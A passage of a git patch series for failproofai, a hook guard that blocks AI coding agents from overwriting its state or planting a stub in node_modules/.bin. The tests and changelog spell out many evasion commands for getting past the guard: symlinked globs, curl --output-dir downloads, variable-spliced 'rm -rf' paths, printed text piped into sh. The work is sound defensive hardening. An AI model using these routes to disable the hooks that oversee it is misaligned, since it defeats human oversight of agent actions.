namesState, (word) => word, true, landsOnState, isBinDir)) || downloadLandings(list).some(({ dir, name }) => { const into = fromBase(base, dir).replace(/(?:[\\/]+\.?)+$/, ""); - if (name === null) return NPM_BIN_DIRECTORY_RE.test(into) || isBinDir(dir); + if (name === null) return NPM_BIN_DIRECTORY_RE.test(into) || isBinDir(dir) || (base.anywhere === true && relativeWord(dir)); const landing = `${dir.replace(/[\\/]+$/, "")}/${name}`; return ( namesState(fromBase(base, landing)) || landsOnState(landing) || - (base.lost && relativeWord(dir) && couldBeEntryName(name)) + ((base.lost || base.anywhere === true) && relativeWord(dir) && couldBeEntryName(name)) ); }), ), - ) + ) || + (anywhereHere() && lists.some(writesEntryAnywhere)) ) { // Before the `reachesState` gate, because the point is that nothing on // the line names the path: the source's name and the directory do. @@ -2732,6 +2845,11 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) return true; } else if (head === "ln" && simpleCommands.length === 1) { recordLink(expanded.slice(1)); + } else if (head === "set" && simpleCommands.length === 1) { + for (let i = 1; i < words.length; i++) { + if (/^[-+][A-Za-z]+$/.test(words[i]) && words[i].includes("P")) physicalMoves = words[i][0] === "-"; + else if ((words[i] === "-o" || words[i] === "+o") && words[i + 1] === "physical") physicalMoves = words[i] === "-o"; + } } parenDepth = Math.max(0, parenDepth - (shellText.match(/\)/g) ?? []).length); if (cdParenDepth !== null && parenDepth < cdParenDepth) { @@ -3931,30 +4049,68 @@ function patchTargets(input: Record | undefined): string[] { /** The builtins that print their arguments and run none of them. */ const PRINT_COMMANDS = new Set(["echo", "printf"]); +/** Readers a pipeline can hand printed text to without running any of it. */ +const TEXT_READERS = new Set([ + "cat", "less", "more", "head", "tail", "wc", "grep", "egrep", "fgrep", "sort", "uniq", "cut", "tr", "column", + "nl", "fold", "fmt", "rev", +]); + +/** Where a print's own redirect can send it without keeping it anywhere it may be run from. */ +const HARMLESS_OUTPUT_RE = /^(?:&\d*-?|\/dev\/(?:null|stdout|stderr|tty))$/; + /** - * `command` with each `>` and `<` blanked where it is quoted text that `echo` - * or `printf` only prints: `echo 'cat > node_modules/.bin/failproofai'` - * documents a command rather than running one (found by hermes on + * Commands after which what a line prints may be run or kept to run: a + * compound command (`for … do echo '…'; done | sh`), a function or alias + * definition that can stand in for `echo`, and `exec`, which redirects the + * shell itself. + */ +const RUNS_PRINTED_TEXT = new Set([ + "if", "then", "elif", "else", "fi", "for", "while", "until", "do", "done", "case", "esac", "select", "function", + "coproc", "alias", "enable", "shopt", "exec", +]); + +/** + * `command` with each `>` and `<` blanked where it is text that `echo` or + * `printf` only prints: `echo 'cat > node_modules/.bin/failproofai'` documents + * a command rather than running one (found by hermes on * FailproofAI/failproofai#1058). The walk reads redirects from the text, * quotes and all, because a quoted program handed to `bash -c` or piped into * `sh` really does redirect, and the unescaped pass drops the quotes, so both - * read that `>` as a redirect. Blanked only where nothing on the line can run - * the text: a pipeline that is one `echo` or `printf` (not `printf -v`, which - * stores it), with no redirect of its own, on a line with no subshell, group, - * substitution, `$'…'` or heredoc. Otherwise `command` comes back unchanged. + * read that `>` as a redirect. + * + * Text means quoted (`'…'`, `"…"`, `$'…'`) or escaped (`\>`). Blanked only + * where nothing on the line can run it: an `echo` or `printf` (not + * `printf -v`, which stores it) outside any subshell, group or substitution, + * holding no substitution, piped into nothing but text readers, and + * redirected, if at all, to another descriptor or `/dev/null`; on a line with + * no compound command, function, alias, `exec`, heredoc or process + * substitution. Otherwise the text is left as it is. */ function blankPrintedRedirects(command: string): string { - if (!/['"]/.test(command) || !/[<>]/.test(command)) return command; - const quotedAt = new Uint8Array(command.length); - const pieces: Array<{ start: number; end: number; piped: boolean }> = []; - let quote: string | null = null; + if (!/['"\\]/.test(command) || !/[<>]/.test(command)) return command; + // Per character: text (quoted or escaped), and inside a subshell, group or + // substitution, or a substitution's own start. + const text = new Uint8Array(command.length); + const nested = new Uint8Array(command.length); + const pieces: Array<{ start: number; end: number; pipeIn: boolean; pipeOut: boolean }> = []; + let quote: "'" | '"' | "$'" | null = null; + let depth = 0; + let backquoted = false; let start = 0; - let pipedIn = false; + let pipeIn = false; for (let i = 0; i < command.length; i++) { const ch = command[i]; if (quote === "'") { if (ch === "'") quote = null; - else quotedAt[i] = 1; + else text[i] = 1; + continue; + } + if (quote === "$'") { + if (ch === "'") quote = null; + else { + text[i] = 1; + if (ch === "\\" && i + 1 < command.length) text[++i] = 1; + } continue; } if (quote === '"') { @@ -3962,44 +4118,86 @@ function blankPrintedRedirects(command: string): string { quote = null; continue; } - if (ch === "`" || (ch === "$" && command[i + 1] === "(")) return command; - quotedAt[i] = 1; - if (ch === "\\" && i + 1 < command.length) quotedAt[++i] = 1; + text[i] = 1; + // A substitution inside double quotes still runs. + if (ch === "`" || (ch === "$" && command[i + 1] === "(")) nested[i] = 1; + if (ch === "\\" && i + 1 < command.length) text[++i] = 1; continue; } if (ch === "\\") { - i++; + if (i + 1 < command.length) text[++i] = 1; continue; } if (ch === "'" || ch === '"') { - if (command[i - 1] === "$") return command; - quote = ch; + quote = ch === "'" && command[i - 1] === "$" ? "$'" : ch; continue; } - if ("`(){}".includes(ch) || (ch === "<" && command[i + 1] === "<")) return command; - if ("|;&\n\r".includes(ch)) { + if ((ch === "<" || ch === ">") && command[i + 1] === "(") return command; + if (ch === "<" && command[i + 1] === "<") return command; + if (ch === "(" || ch === "{") depth++; + if (ch === "`") backquoted = !backquoted; + if (depth > 0 || backquoted || "`(){}".includes(ch)) nested[i] = 1; + if (ch === ")" || ch === "}") depth = Math.max(0, depth - 1); + // `&` beside a `>`, and `|` after one, belong to a redirect (`>&2`, `&>`, + // `>|`), not a separator. + const redirecting = (ch === "&" && (command[i - 1] === ">" || command[i + 1] === ">")) || (ch === "|" && command[i - 1] === ">"); + if ("|;&\n\r".includes(ch) && !redirecting) { let j = i; while (j < command.length && "|;&\n\r".includes(command[j])) j++; - const pipe = command.slice(i, j) === "|" || command.slice(i, j) === "|&"; - pieces.push({ start, end: i, piped: pipedIn || pipe }); - pipedIn = pipe; + const run = command.slice(i, j); + const pipe = run === "|" || run === "|&"; + pieces.push({ start, end: i, pipeIn, pipeOut: pipe }); + pipeIn = pipe; start = j; i = j - 1; } } - // An unterminated quote is a line the shell refuses: left as it is. - if (quote !== null) return command; - pieces.push({ start, end: command.length, piped: pipedIn }); - const out = command.split(""); - for (const { start: from, end: to, piped } of pieces) { - if (piped) continue; + if (quote !== null || depth > 0 || backquoted) return command; + pieces.push({ start, end: command.length, pipeIn, pipeOut: false }); + // The line read with its text blanked, for the commands that can run it. + let bare = ""; + for (let i = 0; i < command.length; i++) bare += text[i] ? " " : command[i]; + if (/\w\s*\(\s*\)/.test(bare)) return command; + for (const { start: from, end: to } of pieces) { + if (RUNS_PRINTED_TEXT.has(bare.slice(from, to).trim().split(/\s+/)[0])) return command; + } + + // Whether a piece stands alone at the top of the line with only harmless + // output redirects, and the command it runs. + const plain = (from: number, to: number): string | undefined => { + for (let k = from; k < to; k++) if (nested[k]) return undefined; + for (let k = from; k < to; k++) { + if (command[k] !== ">" || text[k]) continue; + let j = k + 1; + if (command[j] === ">" || command[j] === "|") j++; + const duplicate = command[j] === "&"; + if (duplicate) j++; + while (j < to && /[ \t]/.test(command[j])) j++; + let target = duplicate ? "&" : ""; + for (; j < to && !/\s/.test(command[j]); j++) if (command[j] !== "'" && command[j] !== '"') target += command[j]; + if (!HARMLESS_OUTPUT_RE.test(target)) return undefined; + k = j - 1; + } const words = shellWords(command.slice(from, to)); - if (words.length === 0 || !PRINT_COMMANDS.has(words[0].raw)) continue; - if (words[0].raw === "printf" && words.some(({ raw }) => /^-[A-Za-z]*v/.test(raw))) continue; - let redirected = false; - for (let k = from; k < to && !redirected; k++) redirected = (command[k] === ">" || command[k] === "<") && !quotedAt[k]; - if (redirected) continue; - for (let k = from; k < to; k++) if (quotedAt[k] && (command[k] === ">" || command[k] === "<")) out[k] = "_"; + return words.length > 0 ? words[0].raw : undefined; + }; + const out = command.split(""); + for (let p = 0; p < pieces.length; p++) { + if (pieces[p].pipeIn) continue; + // The pipeline this piece starts. + let last = p; + while (pieces[last].pipeOut && last + 1 < pieces.length) last++; + const head = plain(pieces[p].start, pieces[p].end); + if (head === undefined || !PRINT_COMMANDS.has(head)) continue; + const words = shellWords(command.slice(pieces[p].start, pieces[p].end)); + if (head === "printf" && words.some(({ raw }) => /^-[A-Za-z]*v/.test(raw))) continue; + let readers = true; + for (let q = p + 1; q <= last && readers; q++) { + const reader = plain(pieces[q].start, pieces[q].end); + readers = reader !== undefined && TEXT_READERS.has(reader); + } + if (!readers) continue; + for (let k = pieces[p].start; k < pieces[last].end; k++) if (text[k] && (command[k] === ">" || command[k] === "<")) out[k] = "_"; } return out.join(""); } @@ -4088,18 +4286,26 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { // the binary walk is: `rm -rf ~/.failproof"ai"` presents a broken literal to a // matcher and a real path to the shell. The walk starts where the command runs: // the session's directory, or the one an Antigravity `run_command` names. - const toolCwd = ctx.toolInput?.cwd; - const shellCwd = typeof toolCwd === "string" && toolCwd !== "" ? toolCwd : ctx.session?.cwd; - // The walk must not throw: a policy that throws is skipped by the evaluator, - // and for this one that is an allow. So a throw is a deny, said as one. + const toolCwd = ctx.toolInput?.cwd ?? ctx.toolInput?.workdir; + const reported = typeof toolCwd === "string" && toolCwd !== ""; + const shellCwd = reported ? toolCwd : ctx.session?.cwd; + // Codex runs a command in the `workdir` its shell tool names, and its hook + // payload carries the session's directory and the command only: a native + // `printf … > failproofai` with workdir `node_modules/.bin` arrived as a + // write in the project root (found by hermes on FailproofAI/failproofai#1058). + // Unless the call reports one, the line may start anywhere, which the walk + // reads as it reads a directory it has lost. + const startUnknown = ctx.cli === "codex" && !reported; // Quoted text an `echo` or `printf` only prints is read as text, in both // passes (see `blankPrintedRedirects`). const walked = blankPrintedRedirects(cmd); + // The walk must not throw: a policy that throws is skipped by the evaluator, + // and for this one that is an allow. So a throw is a deny, said as one. let destroys: boolean; try { destroys = - destroysFailproofaiState(walked, 0, shellCwd) || - destroysFailproofaiState(walked === cmd ? unescaped : stripShellQuoting(walked), 0, shellCwd); + destroysFailproofaiState(walked, 0, shellCwd, startUnknown) || + destroysFailproofaiState(walked === cmd ? unescaped : stripShellQuoting(walked), 0, shellCwd, startUnknown); } catch (err) { return deny( "failproofai could not read this command to check it against its own files, so it is refused. " + From 35317e6068edcf77ef6184614395b9535c04e5c5 Mon Sep 17 00:00:00 2001 From: hermes-exosphere Date: Wed, 25 Nov 2026 12:36:34 +0530 Subject: [PATCH 45/60] [hooks] Preserve reviewed .bin boundaries when rebasing #1058 --- __tests__/hooks/guard-npx-local-bin.test.ts | 2 ++ src/hooks/builtin-policies.ts | 17 ++++++----------- 2 files changed, 8 insertions(+), 11 deletions(-) diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index 9c5c7fa8e..ca33b5953 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -362,6 +362,8 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a project file named after the product", "/work/proj/scripts/failproofai.sh"], ["a directory of that name under .bin", "/work/proj/.bin/failproofai/README.md"], ["a file under a directory whose name ends in .bin", "/data/firmware.bin/failproofai"], + // Anything in front of `.bin` in the same component makes it another name. + ["a fixture under a directory named fixture+.bin", "/work/proj/fixture+.bin/failproofai"], ])("allows writing %s", async (_label, path) => { expect((await write(path)).decision).toBe("allow"); }); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 342ce8ec8..c65fcbb13 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -540,19 +540,14 @@ const FAILPROOFAI_CODE_PATH_RE = new RegExp( // npx cache). With the shims npm (`.cmd`, `.ps1`) and bun (`.exe`, `.bunx`) // write beside it on Windows. Not anchored on `node_modules`, so the // relative `.bin/failproofai` a command run from inside `node_modules` - // names is the same file. `.bin` must start a path component, so - // `firmware.bin/failproofai` is not it, but anything that is not part of a - // name may stand before it (`>.bin/…`), and so may a short option the - // path is glued to, alone or at the end of a cluster (`-O.bin/…`, - // `-so.bin/…`). The lookbehind comes after the literal, so it runs only - // where `.bin` matched and scans back over the letters just before it, - // which no other match shares (`.bin` starts with a dot): linear. Placed - // before the literal it ran at every position of a run of letters and - // scanned back over all of it, and a padded 32 KB command took 16 s. A - // FILE, like the entry above: the rest of + // names is the same file. `.bin` must start a path component + // (`pathComponent`), so `firmware.bin/failproofai` is not it, while + // `>.bin/…` and a short option the path is glued to (`-O.bin/…`, + // `-so.bin/…`) are. A FILE, like the entry above: the rest of // `node_modules/.bin` (every other package's binary, run by path all the // time) stays out of it. - String.raw`\.bin(?<=(?:^|[^\w.-])\.bin|(?:^|\s)-[A-Za-z]+\.bin)[\\/](?:\.?[\\/])*failproofai(?:\.(?:cmd|ps1|exe|bunx))?(?![\w.@\\/-])`, + pathComponent(String.raw`\.bin`) + + String.raw`[\\/](?:\.?[\\/])*failproofai(?:\.(?:cmd|ps1|exe|bunx))?(?![\w.@\\/-])`, ].join("|"), "i", ); From e9574a2d352be6ad1fecf020458038fedb8c88f7 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Wed, 25 Nov 2026 13:23:37 +0530 Subject: [PATCH 46/60] [hooks] Close hermes's third round: disk globs, curl --output-dir, Codex links, subshell options, doc files MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit hermes's review of d011ea9c (FailproofAI/failproofai#1058): - Globs in a directory component. `b*/failproofai`, with `bins` a link to node_modules/.bin and the entry there, reached the entry through a directory no pattern on the line spells. A pattern in a directory component is now expanded on disk as the shell expands it (no dotglob, the whole path existing) and each path it reaches resolved through its links; each word a brace expands to is read the same way. Past 4,096 paths or 1,024 directory reads it is read as reaching the state. - curl's --output-dir. A file `-o` / `--output` names, separate or glued, lands in the output directory, so `curl --output-dir node_modules/.bin -o failproofai ` is refused. - Codex through a directory link. From a workdir its hook does not report, a relative destination is refused when its last component is the entry whatever directories come before it, or when it reaches into the package through any of them (`bins/failproofai`, `deps/failproofai/dist/cli.mjs`), since one may be a link no lstat can see from the session's directory. Still no decision changes on the 12,224 test strings sent as Codex. - Shell options in a subshell. `set -P` / `set +P` inside `( … )` are the subshell's own and are put back when it closes. - Printing into a documentation file. A print's own redirect into a file, and `tee`, leave the text as text when nothing on the line runs a file (shells, interpreters, wrappers, or a command named by a path). `lstat` checks no longer throw on a path under a file (ENOTDIR), which the walk would have read as a deny. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 +- __tests__/hooks/guard-npx-local-bin.test.ts | 80 +++++++- src/hooks/builtin-policies.ts | 196 ++++++++++++++++---- 3 files changed, 240 insertions(+), 38 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 2ba558542..663b520b4 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -18,7 +18,7 @@ - Harden the privileged service install. Every file failproofai writes as root (the systemd unit, the launchd plist, Codex's system config and the daemon's copy under `/opt`) now reaches root as bytes on stdin and is checked against its SHA-256 before it is put in place; the daemon's copy is also held to the digest the build recorded, and a daemon binary that is a symbolic link is refused. `sudo` and every program it runs are named by absolute path from `/usr/bin`, `/bin`, `/usr/sbin` and `/sbin` and start with a minimal environment, the credential prompt included. The commands printed when sudo is not available do the same, run as printed, and on macOS carry the plist itself (#1060) - The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) - A session pause whose recorded start is more than a minute in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) -- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included) and every file a patch names (Codex's native `apply_patch` carries no `file_path`), and through shell commands that write it, copy, move, link or download a file of that name (`scp`, `wget`, `curl -O` included), name it as a value glued to an option (`curl -so`), or put a whole directory into npm's `.bin`, including after a `cd` (or one that may have failed, or a `cd -P` through a link), through a symlink (one the same line makes is resolved as the kernel resolves it, and a glob is matched where its directories really are), through a variable the same line sets, or behind a trailing redirect. A Codex command, which may run in a `workdir` its hook does not report, is refused when a relative destination would plant the entry. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same fixes close five ways around the state guard: a native patch naming it, a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`), and an output file glued to curl's option (`curl -so~/.failproofai/policies-config.json `); and quoted text that `echo` or `printf` only prints (`echo 'cat > ~/.failproofai/policies-config.json'`) is no longer read as a redirect. npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) +- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included) and every file a patch names (Codex's native `apply_patch` carries no `file_path`), and through shell commands that write it, copy, move, link or download a file of that name (`scp`, `wget`, `curl -O` included), name it as a value glued to an option (`curl -so`) or in curl's `--output-dir`, or put a whole directory into npm's `.bin`, including after a `cd` (or one that may have failed, or a `cd -P` through a link), through a symlink (one the same line makes is resolved as the kernel resolves it, and a glob is expanded where its directories really are, on disk as the shell expands it), through a variable the same line sets, or behind a trailing redirect. A Codex command, which may run in a `workdir` its hook does not report, is refused when a relative destination would plant the entry, through any directory on the way. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same fixes close five ways around the state guard: a native patch naming it, a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`), and an output file glued to curl's option (`curl -so~/.failproofai/policies-config.json `); and quoted text that `echo` or `printf` only prints (`echo 'cat > ~/.failproofai/policies-config.json'`), to the terminal or into a documentation file nothing on the line runs, is no longer read as a redirect. npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) ### Docs diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index ca33b5953..4a9f5ba5d 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -1,6 +1,6 @@ // @vitest-environment node import { describe, it, expect, vi, beforeAll, afterAll } from "vitest"; -import { mkdirSync, mkdtempSync, readFileSync, rmSync, symlinkSync } from "node:fs"; +import { mkdirSync, mkdtempSync, readFileSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { join } from "node:path"; import { BUILTIN_POLICIES } from "../../src/hooks/builtin-policies"; @@ -262,6 +262,10 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs expect(await bashIn(join(root, "proj", "tools"), command)).toBe("deny"); }); + it("denies a named output that curl puts into a linked --output-dir", async () => { + expect(await bashIn(join(root, "proj"), "curl --output-dir tools/bins -o failproofai https://example.com/x")).toBe("deny"); + }); + it("allows a glued output file that is no link", async () => { expect(await bashIn(join(root, "proj", "tools"), "curl -sohook.txt https://example.com/x")).not.toBe("deny"); }); @@ -310,6 +314,10 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs "set -o physical; cd tools/deep/.. && printf x > failproofai", "cd -P tools/deep && cd .. && printf x > failproofai", "cd tools/deep && printf x > ../failproofai", + // A subshell's shell options are its own (found by hermes on + // FailproofAI/failproofai#1058). + "set -P; (set +P); cd tools/deep/.. && printf x > failproofai", + "(set -P; cd tools/deep/.. && printf x > failproofai)", ])("denies a write after a physical move through a link: %s", async (command) => { expect(await bashIn(join(root, "proj"), command)).toBe("deny"); }); @@ -318,6 +326,8 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs "cd tools/deep/.. && printf x > failproofai", "cd -L tools/deep/.. && printf x > failproofai", "set -P; set +P; cd tools/deep/.. && printf x > failproofai", + "(set -P); cd tools/deep/.. && printf x > failproofai", + "(set -P; cd tools/deep/..); printf x > failproofai", ])("still allows a write after a logical move: %s", async (command) => { expect(await bashIn(join(root, "proj"), command)).not.toBe("deny"); }); @@ -354,6 +364,50 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs }); }); + // A pattern in a directory component is expanded the way the shell expands + // it, against what is on disk, and each path it reaches is followed through + // its links: with `bins` a link to `node_modules/.bin` and the entry there, + // `b*/failproofai` is the entry (found by hermes on + // FailproofAI/failproofai#1058). + describe("globs expanded on disk", () => { + let root: string; + + beforeAll(() => { + root = mkdtempSync(join(tmpdir(), "fpai-npx-glob-")); + mkdirSync(join(root, "proj", "node_modules", ".bin"), { recursive: true }); + mkdirSync(join(root, "proj", "src")); + mkdirSync(join(root, "proj", "out")); + writeFileSync(join(root, "proj", "node_modules", ".bin", "failproofai"), "#!/bin/sh\n"); + writeFileSync(join(root, "proj", "package.json"), "{}\n"); + symlinkSync(join(root, "proj", "node_modules", ".bin"), join(root, "proj", "bins")); + symlinkSync(join(root, "proj", "node_modules", ".bin", "failproofai"), join(root, "proj", "hook")); + }); + + afterAll(() => { + rmSync(root, { recursive: true, force: true }); + }); + + it.each([ + "cp /tmp/stub.sh b*/failproofai", + "cp /tmp/stub.sh bi?s/failproofai", + "cp /tmp/stub.sh [b]ins/failproofai", + "printf x > b*/failproofai", + "tee {bins,x}/failproofai < /tmp/stub.sh", + ])("denies a glob or brace through a linked directory onto the entry: %s", async (command) => { + expect(await bashIn(join(root, "proj"), command)).toBe("deny"); + }); + + it.each([ + "cat */package.json", + "rm -rf */dist", + "ls b*/", + "cp /tmp/stub.sh s*/notes.txt", + "tee {out,src}/notes.txt < /tmp/stub.sh", + ])("still allows a glob that reaches no protected path: %s", async (command) => { + expect(await bashIn(join(root, "proj"), command)).not.toBe("deny"); + }); + }); + // The entry, and nothing else that lives beside it or shares its name. it.each([ ["another package's entry", "/work/proj/node_modules/.bin/tsc"], @@ -652,6 +706,11 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs // An output file glued to its option, alone or after a cluster. ["/work/proj", "curl -sonode_modules/.bin/failproofai https://example.com/x"], ["/work/proj", "curl -so~/.failproofai/policies-config.json https://example.com/x"], + // A file `-o` names lands in `--output-dir` (found by hermes on + // FailproofAI/failproofai#1058). + ["/work/proj", "curl --output-dir node_modules/.bin -o failproofai https://example.com/x"], + ["/work/proj", "curl --output-dir=node_modules/.bin -sofailproofai https://example.com/x"], + ["/work/proj", "curl --output-dir node_modules/.bin --output failproofai https://example.com/x"], ])("denies a download or remote copy from %s: %s", async (cwd, command) => { expect(await bashIn(cwd, command)).toBe("deny"); }); @@ -723,6 +782,13 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs "echo 'cat > node_modules/.bin/failproofai' | cat", "printf '%s\\n' 'cat > node_modules/.bin/failproofai' | grep cat | wc -l", "(cd src && ls); echo 'cat > node_modules/.bin/failproofai'", + // Into a documentation file, when nothing on the line runs a file (found + // by hermes on FailproofAI/failproofai#1058). + "echo 'cat > node_modules/.bin/failproofai' >> docs/notes.md", + "printf '%s\\n' '> node_modules/.bin/failproofai' > docs/recipe.md", + "echo 'cat > node_modules/.bin/failproofai' | tee -a docs/notes.md", + "echo 'printf x > node_modules/.bin/failproofai' | tee /tmp/s.sh", + "echo 'printf x > node_modules/.bin/failproofai' | cat > /tmp/s.sh", "echo 'cat > node_modules/.bin/failproofai'; echo done", ])("allows printing a command as text: %s", async (command) => { expect(await bash(command)).toBe("allow"); @@ -744,8 +810,10 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs // `echo` the line redefines, the shell's own output sent to one, and a // substitution, which runs. "echo 'printf x > node_modules/.bin/failproofai' | grep x | sh", - "echo 'printf x > node_modules/.bin/failproofai' | tee /tmp/s.sh", - "echo 'printf x > node_modules/.bin/failproofai' | cat > /tmp/s.sh", + // A file printed into, then run on the same line. + "echo 'printf x > node_modules/.bin/failproofai' > docs/s.sh && sh docs/s.sh", + "echo 'printf x > node_modules/.bin/failproofai' > s.sh; ./s.sh", + "echo 'printf x > node_modules/.bin/failproofai' | tee s.sh | sh", "for i in 1; do\necho 'printf x > node_modules/.bin/failproofai'\ndone | sh", "if true; then\necho 'printf x > node_modules/.bin/failproofai'\nfi | sh", 'echo() { sh -c "$*"; }; echo \'printf x > node_modules/.bin/failproofai\'', @@ -778,6 +846,10 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs "gcc -o failproofai main.c", "dd if=/tmp/stub.sh of=failproofai", "printf x > failproofai/dist/cli.mjs", + // Through a directory that may be a link where the command really runs. + "printf x > tbins/failproofai", + "printf x > x/y/failproofai.cmd", + "cp /tmp/stub.sh deps/failproofai/dist/cli.mjs", ])("denies a Codex command planting the entry wherever it runs: %s", async (command) => { expect(await bashAs("codex", { command })).toBe("deny"); }); @@ -790,6 +862,8 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs "cat failproofai", "printf x > src/failproofai.ts", "cd /tmp && printf x > failproofai", + "printf x > tbins/notes.txt", + "printf x > docs/intro.md", ])("allows a Codex command that plants nothing: %s", async (command) => { expect(await bashAs("codex", { command })).toBe("allow"); }); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index c65fcbb13..8f6f5b315 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -1876,6 +1876,12 @@ const SHORT_VALUE_OPTIONS: Record = { curl: CURL_VALUE_OPTIONS, /** More letters than a short-option cluster has when written to be read. */ const MAX_OPTION_CLUSTER = 32; +/** More paths than a glob in a directory component is expanded to on disk; past it, read as reaching the state. */ +const GLOB_DISK_LIMIT = 4096; + +/** How many of the words a brace expands to are each read on disk. */ +const MAX_BRACE_WORDS_ON_DISK = 64; + /** * The values an option word may carry glued on, each a path the command may * write: `--output=`, and the rest of a short-option cluster, @@ -1927,6 +1933,9 @@ function downloadLandings(words: string[]): Array<{ dir: string; name: string | let named = false; let recursive = false; let flat = false; + let dirGiven = false; + // What curl's `-o` / `--output` name, which `--output-dir` also prefixes. + const outputs: string[] = []; const urls: string[] = []; const args = words.slice(1); for (let i = 0; i < args.length; i++) { @@ -1939,7 +1948,10 @@ function downloadLandings(words: string[]): Array<{ dir: string; name: string | const eq = arg.indexOf("="); const name = arg.slice(2, eq === -1 ? undefined : eq); const value = eq === -1 ? undefined : arg.slice(eq + 1); - if (name === "directory-prefix" || name === "output-dir") dir = value ?? args[++i] ?? dir; + if (name === "directory-prefix" || name === "output-dir") { + dir = value ?? args[++i] ?? dir; + dirGiven = true; + } else if (head === "curl" && name === "output") outputs.push(value ?? args[++i] ?? ""); else if (name === "output-document" || name === "spider") named = true; else if (name === "remote-name" || name === "remote-name-all") urlNamed = true; else if (name === "content-disposition" || name === "remote-header-name" || name === "input-file") serverNamed = true; @@ -1957,7 +1969,11 @@ function downloadLandings(words: string[]): Array<{ dir: string; name: string | const flag = arg[c]; if (valueOptions.includes(flag)) { const value = c + 1 < arg.length ? arg.slice(c + 1) : args[++i]; - if (head === "wget" && flag === "P") dir = value ?? dir; + if (head === "wget" && flag === "P") { + dir = value ?? dir; + dirGiven = true; + } + if (head === "curl" && flag === "o") outputs.push(value ?? ""); if (head === "wget" && flag === "O") named = true; if (head === "wget" && flag === "i") serverNamed = true; break; @@ -1970,9 +1986,13 @@ function downloadLandings(words: string[]): Array<{ dir: string; name: string | } urls.push(arg); } - if (!urlNamed || named || (recursive && !flat)) return []; - if (serverNamed || recursive) return [{ dir, name: null }]; - const landings: Array<{ dir: string; name: string | null }> = []; + // curl puts a file `-o` names in `--output-dir` as well: `--output-dir + // node_modules/.bin -o failproofai` writes the entry (found by hermes on + // FailproofAI/failproofai#1058). + const landings: Array<{ dir: string; name: string | null }> = + head === "curl" && dirGiven ? outputs.filter((output) => relativeWord(output)).map((name) => ({ dir, name })) : []; + if (!urlNamed || named || (recursive && !flat)) return landings; + if (serverNamed || recursive) return [...landings, { dir, name: null }]; for (const url of urls) { // The last segment of the path, without the scheme, host, query or // fragment, as written and percent-decoded. @@ -2131,6 +2151,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, stack: Where[]; alts: Where[]; pending: Where[]; + physical: boolean; }> = []; const sameWhere = (x: Where, y: Where) => x.dir === y.dir && x.full === y.full && x.lost === y.lost; // A directory the walk cannot name: where the shell may be once there are @@ -2330,18 +2351,80 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, // those this line makes: `printf x > bins/failproofai` where `bins` links to // `node_modules/.bin`. Only a link counts, so a backup that merely carries a // protected name somewhere else (`/tmp/backup/.failproofai`) does not. + // Whether a path exists, as `lstat` finds it: a missing name, or one under a + 